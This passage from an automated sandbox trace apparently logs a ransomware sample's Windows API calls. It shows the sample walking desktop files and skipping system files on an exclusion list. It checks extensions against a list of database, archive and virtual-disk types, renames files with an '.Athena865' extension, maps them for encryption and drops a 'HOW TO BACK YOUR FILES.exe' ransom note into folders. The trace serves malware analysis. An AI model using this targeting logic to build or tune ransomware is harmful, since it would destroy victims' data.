Size=0x80) returned 0x518920 [0050.471] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.472] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.472] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.472] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f90, lpName=0x0) returned 0x17c [0050.472] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f90) returned 0x100000 [0050.473] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.474] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.474] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.475] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.475] CloseHandle (hObject=0x17c) returned 1 [0050.475] CloseHandle (hObject=0x154) returned 1 [0050.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.476] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a233d0, ftCreationTime.dwHighDateTime=0x1d4ccaa, ftLastAccessTime.dwLowDateTime=0xd35ca100, ftLastAccessTime.dwHighDateTime=0x1d4cc9a, ftLastWriteTime.dwLowDateTime=0xd35ca100, ftLastWriteTime.dwHighDateTime=0x1d4cc9a, nFileSizeHigh=0x0, nFileSizeLow=0x15176, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e3odboT70.m4a", cAlternateFileName="E3ODBO~1.M4A")) returned 1 [0050.476] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.476] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.476] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2=".") returned 1 [0050.476] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2="..") returned 1 [0050.476] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2="windows") returned -1 [0050.476] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2="bootmgr") returned 1 [0050.476] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2="temp") returned -1 [0050.476] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2="pagefile.sys") returned -1 [0050.476] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2="boot") returned 1 [0050.476] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2="ids.txt") returned -1 [0050.476] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2="ntuser.dat") returned -1 [0050.477] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2="perflogs") returned -1 [0050.477] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2="MSBuild") returned -1 [0050.477] lstrlenW (lpString="e3odboT70.m4a") returned 13 [0050.477] lstrcpyW (in: lpString1=0x241e8b6, lpString2="e3odboT70.m4a" | out: lpString1="e3odboT70.m4a") returned="e3odboT70.m4a" [0050.477] lstrlenW (lpString="e3odboT70.m4a") returned 13 [0050.477] lstrlenW (lpString="Athena865") returned 9 [0050.477] lstrcmpiW (lpString1="boT70.m4a", lpString2="Athena865") returned 1 [0050.477] lstrlenW (lpString=".dll") returned 4 [0050.477] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2=".dll") returned 1 [0050.477] lstrlenW (lpString=".lnk") returned 4 [0050.477] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2=".lnk") returned 1 [0050.477] lstrlenW (lpString=".ini") returned 4 [0050.477] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2=".ini") returned 1 [0050.477] lstrlenW (lpString=".sys") returned 4 [0050.477] lstrcmpiW (lpString1="e3odboT70.m4a", lpString2=".sys") returned 1 [0050.477] lstrlenW (lpString="e3odboT70.m4a") returned 13 [0050.477] lstrlenW (lpString="bak") returned 3 [0050.477] lstrcmpiW (lpString1="m4a", lpString2="bak") returned 1 [0050.477] lstrlenW (lpString="ba_") returned 3 [0050.477] lstrcmpiW (lpString1="m4a", lpString2="ba_") returned 1 [0050.477] lstrlenW (lpString="dbb") returned 3 [0050.477] lstrcmpiW (lpString1="m4a", lpString2="dbb") returned 1 [0050.477] lstrlenW (lpString="vmdk") returned 4 [0050.477] lstrcmpiW (lpString1=".m4a", lpString2="vmdk") returned -1 [0050.477] lstrlenW (lpString="rar") returned 3 [0050.477] lstrcmpiW (lpString1="m4a", lpString2="rar") returned -1 [0050.477] lstrlenW (lpString="zip") returned 3 [0050.477] lstrcmpiW (lpString1="m4a", lpString2="zip") returned -1 [0050.477] lstrlenW (lpString="tgz") returned 3 [0050.477] lstrcmpiW (lpString1="m4a", lpString2="tgz") returned -1 [0050.477] lstrlenW (lpString="vbox") returned 4 [0050.477] lstrcmpiW (lpString1=".m4a", lpString2="vbox") returned -1 [0050.478] lstrlenW (lpString="vdi") returned 3 [0050.478] lstrcmpiW (lpString1="m4a", lpString2="vdi") returned -1 [0050.478] lstrlenW (lpString="vhd") returned 3 [0050.478] lstrcmpiW (lpString1="m4a", lpString2="vhd") returned -1 [0050.478] lstrlenW (lpString="vhdx") returned 4 [0050.478] lstrcmpiW (lpString1=".m4a", lpString2="vhdx") returned -1 [0050.478] lstrlenW (lpString="avhd") returned 4 [0050.478] lstrcmpiW (lpString1=".m4a", lpString2="avhd") returned -1 [0050.478] lstrlenW (lpString="db") returned 2 [0050.478] lstrcmpiW (lpString1="4a", lpString2="db") returned -1 [0050.478] lstrlenW (lpString="db2") returned 3 [0050.478] lstrcmpiW (lpString1="m4a", lpString2="db2") returned 1 [0050.478] lstrlenW (lpString="db3") returned 3 [0050.478] lstrcmpiW (lpString1="m4a", lpString2="db3") returned 1 [0050.478] lstrlenW (lpString="dbf") returned 3 [0050.478] lstrcmpiW (lpString1="m4a", lpString2="dbf") returned 1 [0050.478] lstrlenW (lpString="mdf") returned 3 [0050.478] lstrcmpiW (lpString1="m4a", lpString2="mdf") returned -1 [0050.478] lstrlenW (lpString="mdb") returned 3 [0050.478] lstrcmpiW (lpString1="m4a", lpString2="mdb") returned -1 [0050.478] lstrlenW (lpString="sql") returned 3 [0050.478] lstrcmpiW (lpString1="m4a", lpString2="sql") returned -1 [0050.478] lstrlenW (lpString="sqlite") returned 6 [0050.478] lstrcmpiW (lpString1="70.m4a", lpString2="sqlite") returned -1 [0050.478] lstrlenW (lpString="sqlite3") returned 7 [0050.478] lstrcmpiW (lpString1="T70.m4a", lpString2="sqlite3") returned 1 [0050.478] lstrlenW (lpString="sqlitedb") returned 8 [0050.478] lstrcmpiW (lpString1="oT70.m4a", lpString2="sqlitedb") returned -1 [0050.478] lstrlenW (lpString="xml") returned 3 [0050.478] lstrcmpiW (lpString1="m4a", lpString2="xml") returned -1 [0050.478] lstrlenW (lpString="$er") returned 3 [0050.478] lstrcmpiW (lpString1="m4a", lpString2="$er") returned 1 [0050.479] lstrlenW (lpString="4dd") returned 3 [0050.479] lstrcmpiW (lpString1="m4a", lpString2="4dd") returned 1 [0050.479] lstrlenW (lpString="4dl") returned 3 [0050.479] lstrcmpiW (lpString1="m4a", lpString2="4dl") returned 1 [0050.479] lstrlenW (lpString="^^^") returned 3 [0050.479] lstrcmpiW (lpString1="m4a", lpString2="^^^") returned 1 [0050.479] lstrlenW (lpString="abs") returned 3 [0050.479] lstrcmpiW (lpString1="m4a", lpString2="abs") returned 1 [0050.479] lstrlenW (lpString="abx") returned 3 [0050.479] lstrcmpiW (lpString1="m4a", lpString2="abx") returned 1 [0050.479] lstrlenW (lpString="accdb") returned 5 [0050.479] lstrcmpiW (lpString1="0.m4a", lpString2="accdb") returned -1 [0050.479] lstrlenW (lpString="accdc") returned 5 [0050.479] lstrcmpiW (lpString1="0.m4a", lpString2="accdc") returned -1 [0050.479] lstrlenW (lpString="accde") returned 5 [0050.479] lstrcmpiW (lpString1="0.m4a", lpString2="accde") returned -1 [0050.479] lstrlenW (lpString="accdr") returned 5 [0050.479] lstrcmpiW (lpString1="0.m4a", lpString2="accdr") returned -1 [0050.479] lstrlenW (lpString="accdt") returned 5 [0050.479] lstrcmpiW (lpString1="0.m4a", lpString2="accdt") returned -1 [0050.479] lstrlenW (lpString="accdw") returned 5 [0050.479] lstrcmpiW (lpString1="0.m4a", lpString2="accdw") returned -1 [0050.479] lstrlenW (lpString="accft") returned 5 [0050.479] lstrcmpiW (lpString1="0.m4a", lpString2="accft") returned -1 [0050.479] lstrlenW (lpString="adb") returned 3 [0050.479] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1 [0050.479] lstrlenW (lpString="adb") returned 3 [0050.479] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1 [0050.479] lstrlenW (lpString="ade") returned 3 [0050.479] lstrcmpiW (lpString1="m4a", lpString2="ade") returned 1 [0050.479] lstrlenW (lpString="adf") returned 3 [0050.479] lstrcmpiW (lpString1="m4a", lpString2="adf") returned 1 [0050.480] lstrlenW (lpString="adn") returned 3 [0050.480] lstrcmpiW (lpString1="m4a", lpString2="adn") returned 1 [0050.480] lstrlenW (lpString="adp") returned 3 [0050.480] lstrcmpiW (lpString1="m4a", lpString2="adp") returned 1 [0050.480] lstrlenW (lpString="alf") returned 3 [0050.480] lstrcmpiW (lpString1="m4a", lpString2="alf") returned 1 [0050.480] lstrlenW (lpString="ask") returned 3 [0050.480] lstrcmpiW (lpString1="m4a", lpString2="ask") returned 1 [0050.480] lstrlenW (lpString="btr") returned 3 [0050.480] lstrcmpiW (lpString1="m4a", lpString2="btr") returned 1 [0050.480] lstrlenW (lpString="cat") returned 3 [0050.480] lstrcmpiW (lpString1="m4a", lpString2="cat") returned 1 [0050.480] lstrlenW (lpString="cdb") returned 3 [0050.480] lstrcmpiW (lpString1="m4a", lpString2="cdb") returned 1 [0050.480] lstrlenW (lpString="ckp") returned 3 [0050.480] lstrcmpiW (lpString1="m4a", lpString2="ckp") returned 1 [0050.480] lstrlenW (lpString="cma") returned 3 [0050.480] lstrcmpiW (lpString1="m4a", lpString2="cma") returned 1 [0050.480] lstrlenW (lpString="cpd") returned 3 [0050.480] lstrcmpiW (lpString1="m4a", lpString2="cpd") returned 1 [0050.480] lstrlenW (lpString="dacpac") returned 6 [0050.480] lstrcmpiW (lpString1="70.m4a", lpString2="dacpac") returned -1 [0050.480] lstrlenW (lpString="dad") returned 3 [0050.480] lstrcmpiW (lpString1="m4a", lpString2="dad") returned 1 [0050.480] lstrlenW (lpString="dadiagrams") returned 10 [0050.480] lstrcmpiW (lpString1="dboT70.m4a", lpString2="dadiagrams") returned 1 [0050.480] lstrlenW (lpString="daschema") returned 8 [0050.480] lstrcmpiW (lpString1="oT70.m4a", lpString2="daschema") returned 1 [0050.480] lstrlenW (lpString="db-journal") returned 10 [0050.480] lstrcmpiW (lpString1="dboT70.m4a", lpString2="db-journal") returned 1 [0050.480] lstrlenW (lpString="db-shm") returned 6 [0050.480] lstrcmpiW (lpString1="70.m4a", lpString2="db-shm") returned -1 [0050.480] lstrlenW (lpString="db-wal") returned 6 [0050.481] lstrcmpiW (lpString1="70.m4a", lpString2="db-wal") returned -1 [0050.481] lstrlenW (lpString="dbc") returned 3 [0050.481] lstrcmpiW (lpString1="m4a", lpString2="dbc") returned 1 [0050.481] lstrlenW (lpString="dbs") returned 3 [0050.481] lstrcmpiW (lpString1="m4a", lpString2="dbs") returned 1 [0050.481] lstrlenW (lpString="dbt") returned 3 [0050.481] lstrcmpiW (lpString1="m4a", lpString2="dbt") returned 1 [0050.481] lstrlenW (lpString="dbv") returned 3 [0050.481] lstrcmpiW (lpString1="m4a", lpString2="dbv") returned 1 [0050.481] lstrlenW (lpString="dbx") returned 3 [0050.481] lstrcmpiW (lpString1="m4a", lpString2="dbx") returned 1 [0050.481] lstrlenW (lpString="dcb") returned 3 [0050.481] lstrcmpiW (lpString1="m4a", lpString2="dcb") returned 1 [0050.481] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\e3odboT70.m4a.Athena865") returned 78 [0050.481] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\e3odboT70.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\e3odbot70.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\e3odboT70.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\e3odbot70.m4a.athena865"), dwFlags=0x1) returned 1 [0050.482] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\e3odboT70.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\e3odbot70.m4a.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.482] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=86390) returned 1 [0050.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.482] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.483] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.483] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.483] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15480, lpName=0x0) returned 0x17c [0050.484] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15480) returned 0x100000 [0050.486] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.487] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.487] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.488] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.489] CloseHandle (hObject=0x17c) returned 1 [0050.489] CloseHandle (hObject=0x154) returned 1 [0050.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.490] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2941c50, ftCreationTime.dwHighDateTime=0x1d4c700, ftLastAccessTime.dwLowDateTime=0xcc0c6250, ftLastAccessTime.dwHighDateTime=0x1d4d18b, ftLastWriteTime.dwLowDateTime=0xcc0c6250, ftLastWriteTime.dwHighDateTime=0x1d4d18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GKf", cAlternateFileName="")) returned 1 [0050.490] lstrcmpiW (lpString1="GKf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.491] lstrcmpiW (lpString1="GKf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.491] lstrcmpiW (lpString1="GKf", lpString2=".") returned 1 [0050.491] lstrcmpiW (lpString1="GKf", lpString2="..") returned 1 [0050.491] lstrcmpiW (lpString1="GKf", lpString2="windows") returned -1 [0050.491] lstrcmpiW (lpString1="GKf", lpString2="bootmgr") returned 1 [0050.491] lstrcmpiW (lpString1="GKf", lpString2="temp") returned -1 [0050.491] lstrcmpiW (lpString1="GKf", lpString2="pagefile.sys") returned -1 [0050.491] lstrcmpiW (lpString1="GKf", lpString2="boot") returned 1 [0050.491] lstrcmpiW (lpString1="GKf", lpString2="ids.txt") returned -1 [0050.491] lstrcmpiW (lpString1="GKf", lpString2="ntuser.dat") returned -1 [0050.491] lstrcmpiW (lpString1="GKf", lpString2="perflogs") returned -1 [0050.491] lstrcmpiW (lpString1="GKf", lpString2="MSBuild") returned -1 [0050.491] lstrlenW (lpString="GKf") returned 3 [0050.491] lstrcpyW (in: lpString1=0x241e8b6, lpString2="GKf" | out: lpString1="GKf") returned="GKf" [0050.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c458 [0050.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x502028 [0050.491] lstrcatW (in: lpString1="GKf", lpString2="\\" | out: lpString1="GKf\\") returned="GKf\\" [0050.491] lstrcatW (in: lpString1="GKf\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="GKf\\HOW TO BACK YOUR FILES.exe") returned="GKf\\HOW TO BACK YOUR FILES.exe" [0050.491] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\how to back your files.exe"), bFailIfExists=1) returned 1 [0050.493] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad3f9e0, ftCreationTime.dwHighDateTime=0x1d4cb58, ftLastAccessTime.dwLowDateTime=0xd0620f30, ftLastAccessTime.dwHighDateTime=0x1d4cc59, ftLastWriteTime.dwLowDateTime=0xd0620f30, ftLastWriteTime.dwHighDateTime=0x1d4cc59, nFileSizeHigh=0x0, nFileSizeLow=0x12d19, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HBTzNC.avi", cAlternateFileName="")) returned 1 [0050.493] lstrcmpiW (lpString1="HBTzNC.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.493] lstrcmpiW (lpString1="HBTzNC.avi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.493] lstrcmpiW (lpString1="HBTzNC.avi", lpString2=".") returned 1 [0050.493] lstrcmpiW (lpString1="HBTzNC.avi", lpString2="..") returned 1 [0050.493] lstrcmpiW (lpString1="HBTzNC.avi", lpString2="windows") returned -1 [0050.493] lstrcmpiW (lpString1="HBTzNC.avi", lpString2="bootmgr") returned 1 [0050.493] lstrcmpiW (lpString1="HBTzNC.avi", lpString2="temp") returned -1 [0050.493] lstrcmpiW (lpString1="HBTzNC.avi", lpString2="pagefile.sys") returned -1 [0050.493] lstrcmpiW (lpString1="HBTzNC.avi", lpString2="boot") returned 1 [0050.493] lstrcmpiW (lpString1="HBTzNC.avi", lpString2="ids.txt") returned -1 [0050.493] lstrcmpiW (lpString1="HBTzNC.avi", lpString2="ntuser.dat") returned -1 [0050.494] lstrcmpiW (lpString1="HBTzNC.avi", lpString2="perflogs") returned -1 [0050.494] lstrcmpiW (lpString1="HBTzNC.avi", lpString2="MSBuild") returned -1 [0050.494] lstrlenW (lpString="HBTzNC.avi") returned 10 [0050.494] lstrcpyW (in: lpString1=0x241e8b6, lpString2="HBTzNC.avi" | out: lpString1="HBTzNC.avi") returned="HBTzNC.avi" [0050.494] lstrlenW (lpString="HBTzNC.avi") returned 10 [0050.494] lstrlenW (lpString="Athena865") returned 9 [0050.494] lstrcmpiW (lpString1="BTzNC.avi", lpString2="Athena865") returned 1 [0050.494] lstrlenW (lpString=".dll") returned 4 [0050.494] lstrcmpiW (lpString1="HBTzNC.avi", lpString2=".dll") returned 1 [0050.494] lstrlenW (lpString=".lnk") returned 4 [0050.494] lstrcmpiW (lpString1="HBTzNC.avi", lpString2=".lnk") returned 1 [0050.494] lstrlenW (lpString=".ini") returned 4 [0050.494] lstrcmpiW (lpString1="HBTzNC.avi", lpString2=".ini") returned 1 [0050.494] lstrlenW (lpString=".sys") returned 4 [0050.494] lstrcmpiW (lpString1="HBTzNC.avi", lpString2=".sys") returned 1 [0050.494] lstrlenW (lpString="HBTzNC.avi") returned 10 [0050.494] lstrlenW (lpString="bak") returned 3 [0050.494] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1 [0050.494] lstrlenW (lpString="ba_") returned 3 [0050.494] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1 [0050.494] lstrlenW (lpString="dbb") returned 3 [0050.494] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1 [0050.494] lstrlenW (lpString="vmdk") returned 4 [0050.494] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1 [0050.494] lstrlenW (lpString="rar") returned 3 [0050.494] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1 [0050.494] lstrlenW (lpString="zip") returned 3 [0050.494] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1 [0050.494] lstrlenW (lpString="tgz") returned 3 [0050.494] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1 [0050.494] lstrlenW (lpString="vbox") returned 4 [0050.495] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1 [0050.495] lstrlenW (lpString="vdi") returned 3 [0050.495] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1 [0050.495] lstrlenW (lpString="vhd") returned 3 [0050.495] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1 [0050.495] lstrlenW (lpString="vhdx") returned 4 [0050.495] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1 [0050.495] lstrlenW (lpString="avhd") returned 4 [0050.495] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1 [0050.495] lstrlenW (lpString="db") returned 2 [0050.495] lstrcmpiW (lpString1="vi", lpString2="db") returned 1 [0050.495] lstrlenW (lpString="db2") returned 3 [0050.495] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1 [0050.495] lstrlenW (lpString="db3") returned 3 [0050.495] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1 [0050.495] lstrlenW (lpString="dbf") returned 3 [0050.495] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1 [0050.495] lstrlenW (lpString="mdf") returned 3 [0050.495] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1 [0050.495] lstrlenW (lpString="mdb") returned 3 [0050.495] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1 [0050.495] lstrlenW (lpString="sql") returned 3 [0050.495] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1 [0050.495] lstrlenW (lpString="sqlite") returned 6 [0050.495] lstrcmpiW (lpString1="NC.avi", lpString2="sqlite") returned -1 [0050.495] lstrlenW (lpString="sqlite3") returned 7 [0050.495] lstrcmpiW (lpString1="zNC.avi", lpString2="sqlite3") returned 1 [0050.495] lstrlenW (lpString="sqlitedb") returned 8 [0050.495] lstrcmpiW (lpString1="TzNC.avi", lpString2="sqlitedb") returned 1 [0050.495] lstrlenW (lpString="xml") returned 3 [0050.495] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1 [0050.495] lstrlenW (lpString="$er") returned 3 [0050.495] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1 [0050.496] lstrlenW (lpString="4dd") returned 3 [0050.496] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1 [0050.496] lstrlenW (lpString="4dl") returned 3 [0050.496] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1 [0050.496] lstrlenW (lpString="^^^") returned 3 [0050.496] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1 [0050.496] lstrlenW (lpString="abs") returned 3 [0050.496] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1 [0050.496] lstrlenW (lpString="abx") returned 3 [0050.496] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1 [0050.496] lstrlenW (lpString="accdb") returned 5 [0050.496] lstrcmpiW (lpString1="C.avi", lpString2="accdb") returned 1 [0050.496] lstrlenW (lpString="accdc") returned 5 [0050.496] lstrcmpiW (lpString1="C.avi", lpString2="accdc") returned 1 [0050.496] lstrlenW (lpString="accde") returned 5 [0050.496] lstrcmpiW (lpString1="C.avi", lpString2="accde") returned 1 [0050.496] lstrlenW (lpString="accdr") returned 5 [0050.496] lstrcmpiW (lpString1="C.avi", lpString2="accdr") returned 1 [0050.496] lstrlenW (lpString="accdt") returned 5 [0050.496] lstrcmpiW (lpString1="C.avi", lpString2="accdt") returned 1 [0050.496] lstrlenW (lpString="accdw") returned 5 [0050.496] lstrcmpiW (lpString1="C.avi", lpString2="accdw") returned 1 [0050.496] lstrlenW (lpString="accft") returned 5 [0050.496] lstrcmpiW (lpString1="C.avi", lpString2="accft") returned 1 [0050.496] lstrlenW (lpString="adb") returned 3 [0050.496] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1 [0050.496] lstrlenW (lpString="adb") returned 3 [0050.496] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1 [0050.496] lstrlenW (lpString="ade") returned 3 [0050.496] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1 [0050.496] lstrlenW (lpString="adf") returned 3 [0050.496] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1 [0050.497] lstrlenW (lpString="adn") returned 3 [0050.497] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1 [0050.497] lstrlenW (lpString="adp") returned 3 [0050.497] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1 [0050.497] lstrlenW (lpString="alf") returned 3 [0050.497] 